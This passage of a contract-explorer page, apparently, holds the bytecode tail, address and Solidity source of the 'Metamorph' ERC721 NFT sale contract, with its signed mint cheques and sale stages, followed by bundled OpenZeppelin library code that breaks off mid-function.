207a65726f000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b611ed7816119ee565b8114611ee257600080fd5b50565b611eee81611a2c565b8114611ef957600080fd5b5056fea2646970667358221220641e6229db71f2d9d186a84a14271842e8a196d10ff34f99c0f0b2f0865dc6a464736f6c63430008040033
[ 38 ]
0xf386ceeA734Ab050f32D429D8afb6353088F2734
// SPDX-License-Identifier: MIT pragma solidity =0.8.12; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract Metamorph is Ownable, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; using SafeMath for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString(), ".json")) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ string _baseUrl = "https://meta.metamorph2341.com/"; function _baseURI() internal view virtual returns (string memory) { return _baseUrl; } function setBaseUrl(string calldata baseUrl) external onlyOwner returns (bool) { _baseUrl = baseUrl; return true; } function contractURI() public view returns (string memory) { return string(abi.encodePacked(_baseUrl, "contract.json")); } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = Metamorph.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = Metamorph.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } // the wallet who has authority to mint a token address public mintAuthority = 0x66E69Dc02f0B4F8FE80f31417C56e91e22354B1F; function setMintAuthority(address who) external onlyOwner returns (bool) { mintAuthority = who; return true; } // keeps transfer count of each token mapping(uint256 => uint256) public transferCounts; // these tokens initially minted for owner uint256 private _initialMintCount = 53; //53; // token ids counter uint256 private _tokenId = _initialMintCount + 1; // total number of tokens allowd for private(1) sale uint256 private _totalPrivateSale1Count = 350; //350; // total number of tokens uint256 private _totalSaleCount = 2341; // price of each token in private(2) and public sale uint256 public tokenPrice = 727 * 1e14; // keeps sale state (initial 0 / private(1) 1 / private(2) 2 / public 3) uint8 public saleState = 0; function setSaleState(uint8 state) external onlyOwner returns (bool) { require(state == saleState + 1 && state < 4, "invalid state"); saleState = state; return true; } // initial assignment function safeMintInitial() external onlyOwner returns (bool) { require(saleState == 0, "initial assignment is ended"); for (uint256 i = 1; i <= _initialMintCount; i++) { _safeMint(owner(), i); } return true; } // private sale uint256 public chequeNonce = 0; struct MintCheque { address recipient; uint8 saleState; uint8 count; } bytes32 private constant EIP712_DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract,bytes32 salt)"); bytes32 private constant MINTCHEQUE_TYPEHASH = keccak256("MintCheque(address recipient,uint8 saleState,uint8 count)"); function hashMintCheque(MintCheque calldata cheque) private view returns (bytes32) { bytes32 DOMAIN_SEPARATOR = keccak256(abi.encode( EIP712_DOMAIN_TYPEHASH, keccak256("Metamorph"), keccak256("1"), block.chainid, address(this), bytes32(0xec929733770ccce0e32fc02478782d749369e41288a849d0d5f4566e830b14f9))); return keccak256(abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR, keccak256(abi.encode( MINTCHEQUE_TYPEHASH, cheque.recipient, cheque.saleState, cheque.count)))); } function safeMintCheque1(MintCheque calldata cheque, bytes32 r, bytes32 s, uint8 v) external returns (bool) { require(saleState == 1, "private(1) sale is not active"); address signer = ecrecover(hashMintCheque(cheque), v, r, s); require(signer == mintAuthority, "invalid signer"); require(_msgSender() == cheque.recipient, "sender is not the recipient"); require(saleState == cheque.saleState, "invalid sale state"); require(cheque.count == 1, "invalid count"); require(_tokenId <= _initialMintCount + _totalPrivateSale1Count, "private(1) sale out of token"); require(balanceOf(cheque.recipient) == 0, "reward is claimed before"); _safeMint(cheque.recipient, _tokenId++); return true; } function safeMintCheque2(MintCheque calldata cheque, bytes32 r, bytes32 s, uint8 v) external payable returns (bool) { require(saleState == 2, "private(2) sale is not active"); address signer = ecrecover(hashMintCheque(cheque), v, r, s); require(signer == mintAuthority, "invalid signer"); require(_msgSender() == cheque.recipient, "sender is not the recipient"); require(saleState == cheque.saleState, "invalid sale state"); require(cheque.count > 0 && cheque.count <= 3, "invalid count"); uint256 price = tokenPrice * cheque.count; require(msg.value >= price, "insufficient value"); payable(owner()).transfer(price); payable(_msgSender()).transfer(msg.value - price); require(balanceOf(cheque.recipient) < 9, "private(2) sale max total buy reached"); for (uint256 i = 0; i < cheque.count; i++) { _safeMint(cheque.recipient, _tokenId++); } return true; } function verifyMintCheque(MintCheque calldata cheque, bytes32 r, bytes32 s, uint8 v) external view returns (bool) { address signer = ecrecover(hashMintCheque(cheque), v, r, s); return signer == mintAuthority; } // public sale function safeMint(uint8 count) external payable { require(saleState == 3, "public sale is not begun"); require(count > 0 && count <= 3, "invalid count"); uint256 price = tokenPrice * count; require(msg.value >= price, "insufficient value"); payable(owner()).transfer(price); payable(_msgSender()).transfer(msg.value - price); require(balanceOf(_msgSender()) < 9, "public sale max total buy reached"); for (uint256 i = 0; i < count; i++) { _safeMint(_msgSender(), _tokenId++); } } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { require(tokenId <= _totalSaleCount, "out of token"); _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = Metamorph.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(saleState == 3 || from == owner(), "wait for public sale begins"); require(Metamorph.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; transferCounts[tokenId]++; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(Metamorph.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < Metamorph.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < Metamorph.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual { if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = Metamorph.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = Metamorph.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == 